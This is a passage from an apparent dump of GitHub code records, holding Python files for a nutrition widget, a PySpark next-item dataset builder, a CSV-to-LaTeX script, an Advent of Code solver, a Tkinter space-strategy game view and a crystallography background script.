self.bd_mon = bd_mon\n self.bd_day = bd_day\n\n self.macro, self.vit, self.mineral = spartan.get_nut_groups(self.person.nuts)\n\n self.set_defaults()\n self.setup_connections()\n self.set_validators()\n self.sex_edit.setView(QListView())\n self.display_req()\n\n def set_defaults(self):\n self.year_edit.setText(str(self.bd_year))\n self.mon_edit.setText(str(self.bd_mon))\n self.day_edit.setText(str(self.bd_day))\n\n self.sex_edit.setCurrentIndex(sex_to_index[self.sex])\n\n def set_validators(self):\n int_validator = QIntValidator()\n self.day_edit.setValidator(int_validator)\n self.mon_edit.setValidator(int_validator)\n self.year_edit.setValidator(int_validator)\n\n def valid_date(self):\n try:\n datetime.datetime(self.bd_year, self.bd_mon, self.bd_day)\n date_validity = True\n except ValueError:\n date_validity = False\n return date_validity\n\n def fields_are_valid(self):\n if None in (self.bd_year, self.bd_mon, self.bd_day):\n return False\n if not self.valid_date():\n return False\n if len(str(self.bd_year)) < 4:\n return False\n return True\n\n def update_req_display(self):\n if not self.fields_are_valid():\n return\n\n spartan.update_sex_bd_in_db(self.sex, self.bd_year, self.bd_mon, self.bd_day)\n\n age_range = req.calculate_age_range(self.bd_year, self.bd_mon, self.bd_day)\n self.macro, self.vit, self.mineral = req.get_reqs(age_range, self.sex)\n\n self.person.set_nuts(self.macro + self.vit + self.mineral)\n\n self.display_req()\n\n def display_req(self):\n self.macro_model = RequirementsModel(\n nutrients=self.macro, nutrient_group='General', person=self.person)\n self.vit_model = RequirementsModel(\n nutrients=self.vit, nutrient_group='Vitamins', person=self.person)\n self.mineral_model = RequirementsModel(\n nutrients=self.mineral, nutrient_group='Minerals', person=self.person)\n\n self.macro_view.setModel(self.macro_model)\n self.vit_view.setModel(self.vit_model)\n self.mineral_view.setModel(self.mineral_model)\n\n self.setup_req_view(self.macro_view)\n self.setup_req_view(self.vit_view)\n self.setup_req_view(self.mineral_view)\n\n\n def setup_req_view(self, view):\n gui_helpers.hide_view_cols(view, [Req.attr_to_col['nut_id']])\n view.setColumnWidth(Req.attr_to_col['name'], 150)\n gui_helpers.set_header_font(view, FONT_SECONDARY_SIZE, QFont.DemiBold)\n gui_helpers.vertical_resize_table_view_to_contents(view)\n\n def update_req(self):\n pass\n\n def day_edit_changed(self, day):\n self.bd_day = int(day)\n def mon_edit_changed(self, mon):\n self.bd_mon = int(mon)\n def year_edit_changed(self, year):\n self.bd_year = int(year)\n def sex_edit_changed(self, index):\n self.sex = index_to_sex[index]\n\n def setup_connections(self):\n self.day_edit.textChanged.connect(self.day_edit_changed)\n self.mon_edit.textChanged.connect(self.mon_edit_changed)\n self.year_edit.textChanged.connect(self.year_edit_changed)\n self.sex_edit.currentIndexChanged[int].connect(self.sex_edit_changed)\n\n self.day_edit.textChanged.connect(self.update_req_display)\n self.mon_edit.textChanged.connect(self.update_req_display)\n self.year_edit.textChanged.connect(self.update_req_display)\n self.sex_edit.currentIndexChanged[int].connect(self.update_req_display)\n\n # Debug\n debug_shortcut = QShortcut(QKeySequence(Qt.Key_F1), self)\n debug_shortcut.activated.connect(self.print_debug_info)\n\n def print_debug_info(self):\n print(self.person.nuts[0])\n","repo_name":"josh-minch/spartan","sub_path":"spartan/widget/req_widget.py","file_name":"req_widget.py","file_ext":"py","file_size_in_byte":4667,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"10067087284","text":"#!/usr/bin/python3\n\"\"\"Module with a Square class\"\"\"\n\n\nRectangle = __import__('9-rectangle').Rectangle\n\n\nclass Square(Rectangle):\n \"\"\"Model of a square\"\"\"\n\n def __init__(self, size):\n \"\"\"Constructor for square Object\"\"\"\n super().integer_validator(\"size\", size)\n super().__init__(size, size)\n","repo_name":"LuisPatino92/holbertonschool-higher_level_programming","sub_path":"0x0A-python-inheritance/10-square.py","file_name":"10-square.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1152997558","text":"import os\n\nfrom python_search.events.run_performed.clean import RunPerformedCleaning\nfrom python_search.ps_llm.t5.next_item_prompt import PromptBuilder\nfrom python_search.ps_llm.tasks.base_task import BaseDataTask\n\n\nclass NextItemPredictor(BaseDataTask):\n\n def prompt(self, history):\n return PromptBuilder().build_prompt_inference(history)\n\n def build_dataset(self, skip_clean=False):\n \"\"\"\n Generates the dataset and writes it to disk\n \"\"\"\n import pyspark.sql.functions as F\n from pyspark.sql import Window\n\n if skip_clean:\n print(\"Skipping cleaning\")\n elif 'DEV' in os.environ:\n print(\"Skipping clean due to DEV environment variable being set\")\n else:\n RunPerformedCleaning().clean()\n\n\n return self._transform()\n\n def _transform(self):\n\n df = self._base_data().filter('shortcut != \"True\"')\n print(f\"Dataset rows after filtering: {df.count()}\")\n\n from pyspark.sql.functions import lag, lead\n from pyspark.sql.window import Window\n\n windowSpec = Window.orderBy(\n \"timestamp\"\n ) # assuming \"index\" is the column that orders your data\n\n df = df.withColumn(\"previous_1\", lag(df[\"key\"]).over(windowSpec))\n df = df.withColumn(\"previous_2\", lag(df[\"key\"], 2).over(windowSpec))\n df = df.withColumn(\"previous_3\", lag(df[\"key\"], 3).over(windowSpec))\n df = df.withColumn(\"previous_4\", lag(df[\"key\"], 4).over(windowSpec))\n df = df.withColumn(\"previous_5\", lag(df[\"key\"], 5).over(windowSpec))\n\n df = df.withColumn(\"next_2\", lag(df[\"key\"], 1).over(windowSpec))\n df = df.withColumn(\"next_3\", lag(df[\"key\"], 2).over(windowSpec))\n\n\n from pyspark.sql.functions import udf, struct\n\n udf_prompt = udf(PromptBuilder().build_prompt_for_spark)\n udf_label = udf(self._label)\n\n df = df.withColumn('prompt', udf_prompt(struct([df[x] for x in df.columns])))\n df = df.withColumn(\"label\", udf_label(struct([df[x] for x in df.columns])))\n\n df = df.select(\"prompt\", \"label\")\n df.show(n=10, truncate=False)\n\n from python_search.ps_llm.llm_dataset import LLMDataset\n return df.limit(LLMDataset.MAX_SIZE_PER_TASK_TRAIN_DATASET)\n\n\n def _label(selfs, row):\n result = f\"1. {row['key']}\"\n\n if row['next_2'] is not None:\n result += f\" 2. {row['next_2']}\"\n if row['next_3'] is not None:\n result += f\" 3. {row['next_3']}\"\n return result\n\n\n\n def _base_data(self):\n from python_search.events.run_performed.dataset import EntryExecutedDataset\n\n data = EntryExecutedDataset().load_new()\n result = data.sort(\"timestamp\", ascending=False)\n print(f\"Sample of dataset rows: {result.count()}\")\n result.show(n=3)\n\n return result\n\nif __name__ == \"__main__\":\n import fire\n fire.Fire(NextItemPredictor)","repo_name":"jeanCarloMachado/PythonSearch","sub_path":"python_search/ps_llm/tasks/next_item_predictor.py","file_name":"next_item_predictor.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"67"} +{"seq_id":"21788579285","text":"import csv\nimport sys\n\nname = sys.argv[1]\n\nfile = open(name,'r')\nreader = csv.reader(file)\n\ntable = []\nfor n in reader:\n table.append(n)\n\n# Get the table's dimensions\ncolNum = len(table[0])\nrowNum = len(table)\n\n# Create the string that will specify the number of columns in the LaTeX source\ncolSpec = \"l\" * colNum\ncolSpecBrak = \"{\" + colSpec +\"}\"\n\noutput = open(name+'.tex', 'w')\n\nprint>>output, \"\\\\begin{tabular}\" + colSpecBrak\n\nfor n in table:\n\tfor x in n[:-1]:\n\t\tprint>>output, x + \" & \"\n\t\n\tprint>>output, n[-1] + \" \\\\\\\\\"\n\nprint>>output, \"\\\\end{tabular}\"\n\t\n","repo_name":"JustinCope/copyediting-scripts","sub_path":"csv2tex.py","file_name":"csv2tex.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3906594465","text":"from collections import defaultdict\nfrom itertools import permutations\n\nfrom aoc import solution\n\ndebug = False\nfilename = 'test.txt' if debug else 'input.txt'\n\nedgeweights = defaultdict(int)\n\ndef edge(a, b):\n if a < b:\n return (a, b)\n else:\n return (b, a)\n\nnodes = set()\n\nwith open(filename) as f:\n for line in f:\n a, _, sign, happiness, *_, b = line.strip().strip('.').split()\n happiness = (1 if sign == 'gain' else -1) * int(happiness)\n edgeweights[edge(a, b)] += int(happiness)\n\n nodes.add(a)\n nodes.add(b)\n\ndef pathhappiness(path):\n return sum(edgeweights[edge(*e)] for e in zip(path, path[1:]))\n\ndef seat(first, rest):\n return max(\n pathhappiness([first, *perm, first])\n for perm in permutations(rest)\n )\n\n# Part 1\nfirstnode = list(nodes)[0]\nsolution(seat(firstnode, nodes-{firstnode}))\n\n# Part 2\nnothing = \"XXXXXXX\"\nsolution( seat(nothing, nodes))","repo_name":"alchemyst/adventofcode","sub_path":"2015/13/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11964441052","text":"from PIL import *\r\nfrom Perspective import *\r\nimport random\r\nimport math\r\nfrom helper import Helper as hlp\r\nimport Modele\r\nfrom Unite import *\r\nfrom Vue import *\r\nfrom Planete import *\r\n\r\nclass VueSysteme(Perspective):\r\n def __init__(self,parent):\r\n Perspective.__init__(self,parent)\r\n self.modele=self.parent.modele\r\n self.planetes=[]\r\n self.systeme=None\r\n self.maselection=None\r\n \r\n self.lieu = None\r\n \r\n self.UA2pixel=100 # ainsi la terre serait a 100 pixels du soleil et Uranus a 19 Unites Astronomiques \r\n self.largeur=self.modele.diametre*self.UA2pixel\r\n self.hauteur=self.largeur\r\n \r\n self.canevas.config(scrollregion=(0,0,self.largeur,self.hauteur))\r\n \r\n self.btncreervaisseau=Button(self.cadreetataction,text=\"Creer Vaisseau-Attaque\", command= lambda: self.action_joueur(\"creerunite\", {\"id_appelant\":self.maselection[2],\"type_unite\": \"attaquesolaire\"}))\r\n self.btncreervaisseau.pack()\r\n \r\n self.btncreervaisseau=Button(self.cadreetataction,text=\"Creer Vaisseau-Cargo\", command= lambda: self.action_joueur(\"creerunite\", {\"id_appelant\":self.maselection[2],\"type_unite\": \"cargosolaire\"}))\r\n self.btncreervaisseau.pack()\r\n \r\n self.btncreerstation=Button(self.cadreetataction,text=\"Creer Station\", command=lambda: self.action_joueur(\"creerunite\", {\"id_appelant\":self.maselection[2],\"type_unite\": \"stationplanetaire\"}))\r\n self.btncreerstation.pack()\r\n self.btnvuesysteme=Button(self.cadreetataction,text=\"Voir planete\", command=self.voirplanete)\r\n self.btnvuesysteme.pack(side=BOTTOM)\r\n self.btnvuesysteme=Button(self.cadreetataction,text=\"Voir galaxie\", command=self.voirgalaxie)\r\n self.btnvuesysteme.pack(side=BOTTOM)\r\n \r\n self.population=Label(self.cadreinfo, text=\"POPULATION :\", bg=\"red\")\r\n self.population.pack(fill=X)\r\n \r\n imgBois = self.parent.images[\"bois\"]\r\n imgFoin = self.parent.images[\"foin\"]\r\n imgArgent = self.parent.images[\"argent\"]\r\n imgMinerai = self.parent.images[\"minerai\"]\r\n\r\n self.labelBois = Label(self.cadreinfo, image = imgBois)\r\n self.labelFoin = Label(self.cadreinfo, image = imgFoin)\r\n self.labelArgent = Label(self.cadreinfo, image = imgArgent)\r\n self.labelMinerai = Label(self.cadreinfo, image = imgMinerai)\r\n\r\n self.nbbois=0\r\n self.nbfoin=0\r\n self.nbargent=0\r\n self.nbminerai=0\r\n \r\n \r\n self.labelBoistxt = Label(self.cadreinfo, text = \"Qte Bois: \"+str(self.nbbois))\r\n self.labelFointxt = Label(self.cadreinfo, text = \"Qte Foin: \"+str(self.nbfoin))\r\n self.labelArgenttxt = Label(self.cadreinfo, text = \"Qte Argent: \"+str(self.nbargent))\r\n self.labelMineraitxt = Label(self.cadreinfo, text = \"Qte Minerai: \"+str(self.nbminerai))\r\n self.labelBois.pack(fill=X)\r\n self.labelBoistxt.pack(fill=X)\r\n self.labelFoin.pack(fill=X)\r\n self.labelFointxt.pack(fill=X)\r\n self.labelArgent.pack(fill=X)\r\n self.labelArgenttxt.pack(fill=X) \r\n self.labelMinerai.pack(fill=X)\r\n self.labelMineraitxt.pack(fill=X)\r\n \r\n self.labelBois.image=imgBois\r\n self.labelFoin.image=imgFoin\r\n self.labelArgent.image=imgArgent\r\n self.labelMinerai.image= imgMinerai\r\n \r\n \r\n #self.lbselectecible=Label(self.cadreetatmsg,text=\"Choisir cible\",bg=\"darkgrey\") #io 08-05\r\n #self.lbselectecible.pack() #io -8-05\r\n self.changecadreetat(self.cadreetataction)\r\n \r\n def initier_menu_cargosolaire(self):\r\n self.cadreetatcargosolaire = None \r\n \r\n def chercheqte(self):\r\n for objet in self.modele.objets_cliquables.values():\r\n if objet.id == self.maselection[2]:\r\n self.nbbois=objet.nbbois\r\n self.nbfoin=objet.nbfoin\r\n self.nbargent=objet.nbargent\r\n self.nbminerai=objet.nbminerai\r\n \r\n \r\n self.labelBois.pack_forget()\r\n self.labelBoistxt.pack_forget()\r\n self.labelFoin.pack_forget()\r\n self.labelFointxt.pack_forget()\r\n self.labelArgent.pack_forget()\r\n self.labelArgenttxt.pack_forget() \r\n self.labelMinerai.pack_forget()\r\n self.labelMineraitxt.pack_forget()\r\n \r\n self.labelBoistxt = Label(self.cadreinfo, text = \"Qte Bois: \"+str(self.nbbois))\r\n \r\n self.labelFointxt = Label(self.cadreinfo, text = \"Qte Foin: \"+str(self.nbfoin))\r\n self.labelArgenttxt = Label(self.cadreinfo, text = \"Qte Argent: \"+str(self.nbargent))\r\n self.labelMineraitxt = Label(self.cadreinfo, text = \"Qte Minerai: \"+str(self.nbminerai))\r\n self.labelBois.pack(fill=X)\r\n self.labelBoistxt.pack(fill=X)\r\n self.labelFoin.pack(fill=X)\r\n self.labelFointxt.pack(fill=X)\r\n self.labelArgent.pack(fill=X)\r\n self.labelArgenttxt.pack(fill=X) \r\n self.labelMinerai.pack(fill=X)\r\n self.labelMineraitxt.pack(fill=X)\r\n def voirplanete(self):\r\n self.parent.voirplanete(self.maselection)\r\n\r\n def voirgalaxie(self):\r\n self.parent.voirgalaxie()\r\n \r\n def initsysteme(self,i):\r\n self.systeme=i\r\n self.lieu = i\r\n self.affichermodelestatique(i)\r\n \r\n def affichermodelestatique(self,i):\r\n imgfondpil = Image.new(\"RGBA\", (self.largeur,self.hauteur),\"black\")\r\n draw = ImageDraw.Draw(imgfondpil) \r\n for j in range(self.largeur*2):\r\n x=random.randrange(self.largeur)\r\n y=random.randrange(self.hauteur)\r\n #draw.ellipse((x,y,x+1,y+1), fill=\"white\")\r\n draw.ellipse((x,y,x+0.1,y+0.11), fill=\"white\")\r\n self.images[\"fond\"] = ImageTk.PhotoImage(imgfondpil)\r\n self.canevas.create_image(self.largeur/2,self.hauteur/2,image=self.images[\"fond\"])\r\n \r\n xl=self.largeur/2\r\n yl=self.hauteur/2\r\n n=i.etoile.taille*self.UA2pixel/2\r\n mini=2\r\n UAmini=4\r\n self.canevas.create_image(xl, yl, image = self.parent.images[\"soleil\"],tags=(\"systeme\",i.id,\"etoile\",str(n),))\r\n self.minimap.create_oval(100-mini,100-mini,100+mini,100+mini,fill=\"yellow\")\r\n for p in i.planetes:\r\n x,y=hlp.getAngledPoint(math.radians(p.angle),p.distance*self.UA2pixel,xl,yl)\r\n p.x=int(x)\r\n p.y=int(y)\r\n n=p.taille*self.UA2pixel\r\n no = random.randrange(1,8)\r\n self.canevas.create_image(x, y, image = self.parent.images[\"planete\"+str(no)],tags=(i.proprietaire,\"planete\",p.id,\"inconnu\",i.id,int(x),int(y)))\r\n x,y=hlp.getAngledPoint(math.radians(p.angle),p.distance*UAmini,100,100)\r\n self.minimap.create_oval(x-mini,y-mini,x+mini,y+mini,fill=\"red\",tags=())\r\n self.planetes.append(p)\r\n appelant=self.modele.objets_cliquables[p.id] \r\n types = {\r\n \"planete\": Planete,\r\n }\r\n laplanete = types[\"planete\"](self.systeme,\"habitable\",p.distance,p.taille,p.angle,p.x,p.y)\r\n self.modele.objets_cliquables[laplanete.id] = laplanete\r\n # NOTE Il y a un probleme ici je ne parviens pas a centrer l'objet convenablement comme dans la fonction 'identifierplanetemere'\r\n canl=int(self.canevas.cget(\"width\"))/2\r\n canh=int(self.canevas.cget(\"height\"))/2\r\n self.canevas.xview(MOVETO, ((self.largeur/2)-canl)/self.largeur)\r\n self.canevas.yview(MOVETO, ((self.hauteur/2)-canh)/self.hauteur)\r\n \r\n def creerimagefond(self): \r\n pass # on pourrait creer un fond particulier pour un systeme\r\n \r\n def afficherdecor(self):\r\n pass\r\n \r\n def creervaisseau(self): \r\n pass\r\n \r\n def creerstation(self):\r\n print(\"Creer station EN CONSTRUCTION\")\r\n \r\n def afficherpartie(self,mod):\r\n self.canevas.delete(\"artefact\")\r\n self.afficherselection()\r\n for objet in mod.objets_cliquables.values():\r\n if(objet.lieu == self.lieu):\r\n if(isinstance(objet, VaisseauCargoSolaire)):\r\n angle = math.degrees(objet.angletrajet)\r\n if( angle >= -22 and angle <0 or angle <= 23 and angle >=0):\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"0vaisseaucargo\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle < -22 and angle >= -68) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"45vaisseaucargo\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle < -68 and angle >= -113) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"90vaisseaucargo\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle < -113 and angle >= -158) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"135vaisseaucargo\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle >158 or angle < -158) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"180vaisseaucargo\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle >113 and angle <= 158) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"225vaisseaucargo\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle >68 and angle <= 113) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"270vaisseaucargo\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle >23 and angle <= 68) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"315vaisseaucargo\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n \r\n elif(isinstance(objet, VaisseauAttaqueSolaire)):\r\n angle = math.degrees(objet.angletrajet)\r\n if( angle >= -22 and angle <0 or angle <= 23 and angle >=0):\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"0vaisseauattaque\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle < -22 and angle >= -68) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"45vaisseauattaque\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle < -68 and angle >= -113) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"90vaisseauattaque\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle < -113 and angle >= -158) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"135vaisseauattaque\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle >158 or angle < -158) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"180vaisseauattaque\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle >113 and angle <= 158) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"225vaisseauattaque\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle >68 and angle <= 113) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"270vaisseauattaque\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle >23 and angle <= 68) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"315vaisseauattaque\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n \r\n elif(isinstance(objet, Sonde)): \r\n angle = math.degrees(objet.angletrajet)\r\n if( angle >= -22 and angle <0 or angle <= 23 and angle >=0):\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"0sonde\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle < -22 and angle >= -68) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"45sonde\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle < -68 and angle >= -113) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"90sonde\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle < -113 and angle >= -158) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"135sonde\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle >158 or angle < -158) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"180sonde\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle >113 and angle <= 158) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"225sonde\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle >68 and angle <= 113) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"270sonde\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n elif (angle >23 and angle <= 68) :\r\n self.canevas.create_image(objet.x, objet.y, image = self.parent.images[\"315sonde\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\")) \r\n \r\n \r\n \r\n \r\n elif (isinstance(objet,StationPlanetaire)):\r\n self.canevas.create_image(int(objet.x),int(objet.y),image = self.parent.images[\"stationplanetaire\"+str(objet.proprietaire.codecouleur)],tags=(objet.proprietaire,\"unite\",objet.id,\"artefact\"))\r\n\r\n def changerproprietaire(self):\r\n pass\r\n \r\n def afficherselection(self):\r\n e=self.UA2pixel\r\n self.canevas.delete(\"selecteur\")\r\n if self.maselection!=None:\r\n joueur=self.modele.joueurs[self.parent.nom]\r\n for objet in self.modele.objets_cliquables.values():\r\n if objet.id == self.maselection[2]:\r\n if isinstance(objet, Planete):\r\n \r\n x=int(self.maselection[3])\r\n y=int(self.maselection[4])\r\n t= objet.taille*e\r\n self.canevas.create_oval(x-t,y-t,x+t,y+t,dash=(2,2),\r\n outline=joueur.couleur,\r\n tags=(\"select\",\"selecteur\"))\r\n elif isinstance(objet, Unite):\r\n x=objet.x\r\n y=objet.y\r\n t= objet.taille*e\r\n self.canevas.create_rectangle(x-t, y-t, x+t, y+t,dash=(2,2),\r\n outline= joueur.couleur,\r\n tags=(\"select\",\"selecteur\"))\r\n self.chercheqte()\r\n \r\n def selectionner(self,evt):\r\n self.changecadreetat(None)\r\n \r\n t=self.canevas.gettags(\"current\")\r\n if t and t[0]!=\"current\":\r\n print(t)\r\n if t[1]==\"unite\":\r\n self.maselection=[self.parent.nom,t[1],t[2]]\r\n #self.montrevaisseauxselection()\r\n if t[1] == \"planete\" :\r\n self.maselection=[self.parent.nom,t[1],t[2],t[5],t[6],t[4]] # prop, type, id; self.canevas.find_withtag(CURRENT)#[0]\r\n if t[1] == \"planete\" and t[3]==\"inconnu\":\r\n nom=t[0]\r\n idplanete=t[2]\r\n idsysteme=t[4]\r\n self.montreplaneteselection()\r\n \r\n # ici je veux envoyer un message comme quoi je visite cette planete\r\n # et me mettre en mode planete sur cette planete, d'une shot\r\n # ou est-ce que je fais selection seulement pour etre enteriner par un autre bouton\r\n \r\n #self.parent.parent.atterrirdestination(nom,idsysteme,idplanete)\r\n else:\r\n print(\"Region inconnue\")\r\n self.maselection=None\r\n #self.lbselectecible.pack_forget()\r\n self.canevas.delete(\"selecteur\")\r\n \r\n def montreplaneteselection(self):\r\n self.changecadreetat(self.cadreetataction)\r\n \r\n def afficherartefacts(self,joueurs):\r\n pass #print(\"ARTEFACTS de \",self.nom)\r\n \r\n def cibler(self, evt): #io 02-05\r\n if self.maselection and self.maselection[1]==\"unite\":\r\n cible=self.canevas.gettags(\"current\")\r\n if cible and cible[0] !=\"current\":\r\n cible = cible[2]\r\n mode = \"id\"\r\n else:\r\n x = self.canevas.canvasx(evt.x)#/100\r\n y = self.canevas.canvasy(evt.y)#/100\r\n cible = {'x': x, 'y': y}\r\n mode = \"coord\"\r\n self.action_joueur(\"ciblerdestination\", {\"id_appelant\": self.maselection[2], \"cible\": cible, \"mode\": mode})\r\n","repo_name":"Team-Orion/Orion","sub_path":"VueSysteme.py","file_name":"VueSysteme.py","file_ext":"py","file_size_in_byte":18836,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30429569521","text":"from __future__ import division\nfrom __future__ import print_function\n\n\n# def online_variance(data):\n# n = 0\n# mean = 0.0\n# M2 = 0.0\n\n# for x in data:\n# n = n + 1\n# delta = x - mean\n# mean = mean + delta/n\n# M2 = M2 + delta*(x - mean)\n\n# if n < 2:\n# return float('nan');\n# else:\n# return M2 / (n - 1)\n\n# class RunningMeanAndVariance(object):\n\n# def __init__(self, size):\n# from dials.array_family import flex\n# self.n = flex.int(flex.grid(size), 0)\n# self.mean = flex.double(flex.grid(size), 0.0)\n# self.m2 = flex.double(flex.grid(size), 0.0)\n\n# def add(self, image, mask):\n# m = (mask == True).as_1d().as_int()\n# x = data.as_double() * m.as_double()\n# self.n += m\n# delta = x - self.mean\n# n1 = flex.double(image.accessor(), 0)\n# self.mean = self.mean + delta * n1\n# self.m2 = self.m2 + delta * (x - mean)\n\n# def variance(self):\n# return self.m2 / (self.n - 1)\n\n# def stddev(self):\n# from dials.array_family import flex\n# return flex.sqrt(self.variance())\n\n\nif __name__ == \"__main__\":\n\n from dials.util.options import OptionParser\n from dials.util.options import flatten_experiments\n from dials.util.options import flatten_reflections\n from dials.array_family import flex\n from collections import defaultdict\n from dials.algorithms.shoebox import MaskCode\n\n # Create the option parser\n parser = OptionParser(read_experiments=True, read_reflections=True)\n\n # Parse the arguments\n params, options = parser.parse_args(show_diff_phil=True)\n\n # Get the experiments and reflections\n experiments = flatten_experiments(params.input.experiments)\n reflections = flatten_reflections(params.input.reflections)\n\n # Get the imageset\n assert len(experiments) == 1\n assert len(reflections) == 1\n reflections = reflections[0]\n imageset = experiments[0].imageset\n\n # Create the reflection lookup\n bbox = reflections[\"bbox\"]\n reflection_lookup = defaultdict(list)\n for i in range(len(bbox)):\n for j in range(bbox[i][4], bbox[i][5]):\n reflection_lookup[j].append(i)\n\n width, height = experiments[0].detector[0].get_image_size()\n sum_background = flex.double(flex.grid(height, width), 0)\n sum_sq_background = flex.double(flex.grid(height, width), 0)\n count = flex.int(flex.grid(height, width), 0)\n\n # Loop through all images\n print(\"START\")\n for frame in range(len(imageset)):\n\n # Get the subset of reflections on this image and compute the mask\n subset = reflections.select(flex.size_t(reflection_lookup[frame]))\n\n subset[\"shoebox\"] = flex.shoebox(subset[\"panel\"], subset[\"bbox\"], allocate=True)\n\n subset.compute_mask(experiments)\n\n # Get the mask and data\n mask = imageset.get_mask(frame)[0]\n data = imageset.get_raw_data(frame)[0]\n\n sbox_mask = subset[\"shoebox\"].apply_background_mask(frame, 1, (height, width))\n\n mask = mask & sbox_mask\n\n # from dials.algorithms.image.threshold import DispersionThreshold\n # threshold = DispersionThreshold(\n # data.all(),\n # (3,3),\n # 6,3,0,2)\n # new_mask = flex.bool(mask.accessor())\n # threshold(data, mask, new_mask)\n # mask = mask & (~new_mask)\n\n import cPickle as pickle\n\n pickle.dump((data, mask), open(\"first_image.pickle\", \"w\"))\n exit(0)\n m = (mask == True).as_1d().as_int()\n x = data.as_double() * m.as_double()\n sum_background += x\n sum_sq_background += x * x\n count += m\n\n average = flex.sum(sum_background) / flex.sum(count)\n\n print(\n \"Image %d: selected %d reflections, avr=%f\" % (frame, len(subset), average)\n )\n\n # from matplotlib import pylab\n # pylab.imshow((count > 0).as_numpy_array())\n # pylab.show()\n\n average = flex.double(len(sum_background))\n variance = flex.double(len(sum_background))\n count_mask = count > 1\n indices = flex.size_t(range(len(mask))).select(count_mask.as_1d())\n from matplotlib import pylab\n\n pylab.imshow(count_mask.as_numpy_array())\n pylab.show()\n\n sumb = sum_background.as_1d().select(indices)\n numb = count.as_1d().select(indices).as_double()\n avrb = sumb / numb\n sumsqb = sum_sq_background.as_1d().select(indices)\n varb = (sumsqb - sumb * sumb / numb) / (numb - 1)\n average.set_selected(indices, avrb)\n 